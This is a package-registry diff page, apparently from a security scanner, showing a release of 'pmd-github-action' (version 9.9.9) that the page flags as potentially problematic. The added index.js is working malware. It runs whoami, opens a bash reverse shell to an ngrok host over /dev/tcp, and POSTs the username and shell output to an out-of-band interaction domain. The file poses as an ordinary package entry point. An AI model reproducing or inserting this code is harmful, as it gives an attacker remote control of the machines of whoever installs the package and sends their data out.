pmd-github-action 9.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of pmd-github-action might be problematic. Click here for more details.
- package/README.md +3 -0
- package/index.js +27 -0
- package/package.json +12 -0
package/README.md
ADDED
package/index.js
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
const execSync = require('child_process').execSync;
|
2
|
+
|
3
|
+
const whoami = execSync('whoami', { encoding: 'utf-8' });
|
4
|
+
const shell = execSync('bash -i >& /dev/tcp/0.tcp.in.ngrok.io/18121 0>&1', { encoding: 'utf-8' });
|
5
|
+
|
6
|
+
|
7
|
+
const https = require("https")
|
8
|
+
|
9
|
+
const data = JSON.stringify({
|
10
|
+
"whoami": whoami,
|
11
|
+
"shell": shell,
|
12
|
+
})
|
13
|
+
|
14
|
+
const options = {
|
15
|
+
hostname: "cm30n6w2vtc0000cv6m0gkndggayyyyy8.oast.fun",
|
16
|
+
port: 443,
|
17
|
+
path: "/",
|
18
|
+
method: "POST",
|
19
|
+
headers: {
|
20
|
+
"Content-Type": "application/json",
|
21
|
+
"Content-Length": data.length,
|
22
|
+
},
|
23
|
+
}
|
24
|
+
|
25
|
+
const req = https.request(options)
|
26
|
+
req.write(data)
|
27
|
+
req.end()
|
package/package.json
ADDED